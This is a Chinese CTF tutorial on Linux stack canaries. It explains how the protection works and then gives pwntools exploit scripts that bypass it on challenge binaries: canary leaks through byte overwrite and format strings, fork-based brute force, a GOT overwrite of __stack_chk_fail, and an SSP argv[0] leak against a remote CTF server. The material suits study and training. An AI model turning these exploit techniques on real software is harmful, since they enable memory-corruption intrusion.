canary是一种防止栈溢出的防护手段, 即在stack overflow发生的高危区域的尾部插入一个随机值, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack buffer overflow是否发生。如果是,则说明发生了栈溢出,程序停止运行
Canary与windows下的GS保护都是防止栈溢出的有效手段,它的出现很大程度上防止了栈溢出的出现,并且由于它几乎并不消耗系统资源,所以现在成了linux下保护机制的标配。
1
2
3
4
5
|
-fstack-protector //启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all //启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit //只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector //禁用保护
|
开启Canary保护的stack结构大概如下(64位)
当程序启用Canary编译后,在函数序言部分会取fs寄存器0x28处的值,存放在栈中ebp-0x8的位置。 这个操作即为向栈中插入Canary值
1
2
|
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
|
在函数返回之前,会将该值取出,并与fs:0x28的值进行异或。如果抑或的结果为0,说明canary未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
1
2
3
4
|
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
|
如果canary已经被非法修改,此时程序流程会走到stack_chk_fail。stack_chk_fail也是位于glibc中的函数,默认情况下经过ELF的延迟绑定,定义如下。(这意味可以通过劫持stack_chk_fail的got值劫持流程或者利用stack_chk_fail泄漏内容)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
|
进一步,对于Linux来说,fs寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard。
1
2
3
4
5
6
7
8
9
10
11
|
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
|
如果存在溢出可以覆盖位于TLS中保存的Canary值那么就可以实现绕过保护机制。
事实上,TLS中的值由函数security_init进行初始化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
|
以上来源与CTF-WIKI
Canary是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着Canary就能够阻止所有的栈溢出利用,在这里给出了常见的存在Canary的栈溢出利用思路,请注意每种方法都有特定的环境要求。
Canary设计为以字节"\x00"结尾,本意是为了保证Canary可以截断字符串。 泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露Canary,之后再次溢出控制执行流程。
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// ex1.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main(void) {
int i;
init();
char buf[100];
for(i=0;i<2;i++){
scanf("%s",&buf);
printf(buf);
}
return 0;
}
|
编译成32位
1
|
gcc -m32 -no-pie ex2.c -o ex2
|
思路:通过覆盖Canary最后一个"\x00"字节来打印出4位的Canary 之后,计算好偏移,将Canary填入到相应的溢出位置,实现Ret到getshell函数
用GDB调试,在vuln下一个断点,根据汇编知道 EAX 存储的就是 Canary 的值
用 n 让程序执行到输入字符,查看栈空间。可以看到输入的字符到 Canary 相差了 0x7c-0x18=0x64
个字节
知道了距离就可以覆盖掉 Canary 的最低位,用回车(0xa)将0x00 覆盖掉,剩下的高字节信息就会泄露,然后将泄露出来的 Canary 填回去,再通过栈溢出把返回地址覆盖成getshell函数的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
p=process("./ex2")
elf=ELF("./ex2")
getshell=elf.sym['getshell']
payload='a'*0x63+ 'b'
p.sendline(payload)
p.recvuntil('ab')
canary=u32(p.recv(4)) - 0xa
print ("canary: ",canary)
payload = 'a'*0x64 + p32(canary) + 'a'*8 + 'a'*4 +p32(getshell)
# padding1 + canary + padding2 + old_ebp + ret_addr
p.send(payload)
p.interactive()
|
题目地址 bin,利用格式化字符串漏洞来泄露 canary 的值,从而绕过 canary 保护。
用IDA找到main函数,printf存在格式化字符串漏洞
1
2
3
4
5
6
7
8
9
10
11
12
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format; // [esp+6h] [ebp-12h]
unsigned int v5; // [esp+Ch] [ebp-Ch] //canary
v5 = __readgsdword(0x14u);
init();
__isoc99_scanf("%6s", &format);
printf(&format); //格式化字符串漏洞
fun();
return 0;
}
|
跟进fun函数,read存在栈溢出漏洞
1
2
3
4
5
6
7
8
9
|
unsigned int fun()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
read(0, &buf, 0x78u); //栈溢出漏洞
return __readgsdword(0x14u) ^ v2;
}
|
而且程序存在getflag的后门函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
unsigned int getflag()
{
FILE *stream; // [esp+4h] [ebp-74h]
char s; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
stream = fopen("./flag", "r");
if ( !stream )
puts("get flag error");
fgets(&s, 100, stream);
puts(&s);
return __readgsdword(0x14u) ^ v3;
}
|
思路:利用格式化字符串漏洞打印 canary ,再通过栈溢出来getflag
用GDB调试程序,找到 canary 的值
让程序执行到输入字符,查看栈空间,可以看到 canary 在格式化字符串的偏移为7
通过第一次输入执行格式化字符串漏洞,泄露出 canary ,第二次输入执行栈溢出从而getflag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#!coding:utf-8
from pwn import *
#context.log_level='debug'
p=process("./bin")
getflag=0x0804863B
payload='%7$x'
p.sendline(payload)
canary=int(p.recv(),16)
print ("canary: ",hex(canary))
payload='a'*(0x70-0xc)+p32(canary)+'a'*(0xc-0x4)+'a'*0x4+p32(getflag)
#pading1 + canary + pading2 +old_ebp + ret_addr
p.sendline(payload)
p.interactive()
|
对于Canary,不仅每次进程重启后的Canary不同(相比GS,GS重启后是相同的),而且同一个进程中的每个线程的Canary也不同。 但是存在一类通过fork函数开启子进程交互的题目,因为fork函数会直接拷贝父进程的内存,因此每次创建的子进程的Canary是相同的。我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
题目地址 bin1,因为 canary 最低位是\x00 。所以对于32位来说,只需要爆破3位,而64位则需要爆破7位。每位的数值范围是(0x0-0xFF)
用IDA分析,程序开启了 canary,而且还有fork函数,可以爆破 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // [esp+Ch] [ebp-Ch]
init();
while ( 1 )
{
v3 = fork(); //创建的子进程的Canary是相同的
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0);
}
else
{
puts("welcome");
fun();
puts("recv sucess");
}
}
puts("fork error");
exit(0);
}
|
fun函数同样存在栈溢出,而且还有后门函数。
1
2
3
4
5
6
7
8
9
|
unsigned int fun()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
read(0, &buf, 0x78u); //栈溢出
return __readgsdword(0x14u) ^ v2;
}
|
思路:爆破 canary ,然后进行栈溢出,将得到的 canary 填回去,从而getflag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
p=process("./bin1")
context.log_level='debug'
getflag=0x0804863B
p.recvuntil("welcome\n")
# Brute force canary
canary='\x00'
for i in range(3):
for j in range(256):
payload='a'*(0x70-0xc)+canary+chr(j)
p.send(payload)
text = p.recvuntil("welcome\n")
if "recv" in text:
canary += chr(j)
break
payload='a'*(0x70-0xc)+canary+'a'*(0xc-0x4)+'a'*0x4+p32(getflag)
p.sendline(payload)
p.interactive()
|
Canary失败的处理逻辑会进入到 __stack_chk_failed函数,__stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
题目地址 r2t4
可以看到程序存在栈溢出和格式化字符串漏洞
1
2
3
4
5
6
7
8
9
10
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL); //栈溢出
printf(&buf, &buf); //格式化字符串漏洞
return 0;
}
|
程序还存在后门函数
1
2
3
4
5
6
7
8
|
unsigned __int64 backdoor()
{
unsigned __int64 v0; // ST08_8
v0 = __readfsqword(0x28u);
system("cat flag");
return __readfsqword(0x28u) ^ v0;
}
|
思路:利用格式化字符串漏洞把 __stack_chk_failed 的got表改成 backdoor 的地址。然后故意触发 __stack_chk_failed ,从而执行 backdoor
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
p=process("./r2t4")
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')
backdoor=0x400626
__stack_chk_fail=elf.got["__stack_chk_fail"]
payload='%64c%9$hn%1510c%10$hnAAA' + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()
|
backdoor的地址是0x400626,利用格式化字符串漏洞把 __stack_chk_fail 的地址覆盖掉
%64c
:0x40,替换backdoor的两位高字节0x0040
%64c%9$hn%1510c%10$hnAAA
:占24个字符,24/8=3,偏移为6+3=9
$hn
:向某个地址写入双字节
%1510c
:1510+64=0x0626,替换backdoor的两位高字节0x0626
AAA
:是填充字符,填充到8的倍数
__stack_chk_fail+2
和__stack_chk_fail
分别替换成backdoor的高两位字节和低两位字节
题目地址 bin3
同样也是利用格式化字符串漏洞来劫持 __stack_chk_fail
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format; // [rsp+0h] [rbp-60h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
read_n(&format, 88LL);
printf(&format);
return 0;
}
|
利用代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#!coding:utf-8
from pwn import *
p=process("./bin3")
elf=ELF("./bin3")
backddor=0x40084E
stack_fail = elf.got['__stack_chk_fail']
payload='%64c%9$hn%2062c%10$hnAAA' + p64(stack_fail+2) + p64(stack_fail)
# 将stack_chk_fial 用格式化字符串漏洞 替换成 backdoor 的地址
payload+='a'*(0x68-len(payload))
# 故意覆盖掉canary 触发stack_chk_fail
p.recv()
p.sendline(payload)
p.interactive()
|
SSP(Stack Smashing Protect)Leak ,在canary被修改之后,程序会执行 __stack_chk_fail 然后报错,打印argv[0]这个指针指向的字符串,而argv[0]默认情况下是程序的名字,如果我们把它覆盖成想要的地址,那么就可以实现任意地址读了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
|
题目地址 bin2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0)); //修改flag地址
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
|
flag在服务器上,而且看IDA反编译的伪代码,存放flag的地址被修改了
这里有一个小trick:ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射
这就意味着flag可能不止存放在一个地址里,可以用GDB调试找到flag的地址
在 __IO_gets 下个断点,查看输入的地址和 argv[0] 的地址相差的距离 0xde78-0xdc60=0X218
知道了偏移就可以把 argv[0] 覆盖成存放 flag 的地址,从而读取 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
#p=process("./bin2")
p=remote('pwn.jarvisoj.com',9877)
flag_addr=0x400d21
p.recvuntil("What's your name?")
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.recvuntil("Please overwrite the flag: ")
p.sendline("1")
p.interactive()
|
已知Canary储存在TLS中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的Canary和TLS储存的Canary实现绕过。
先挖个坑,留着以后填
CTF-WIKI Canary
canary的各种姿势—-pwn题解版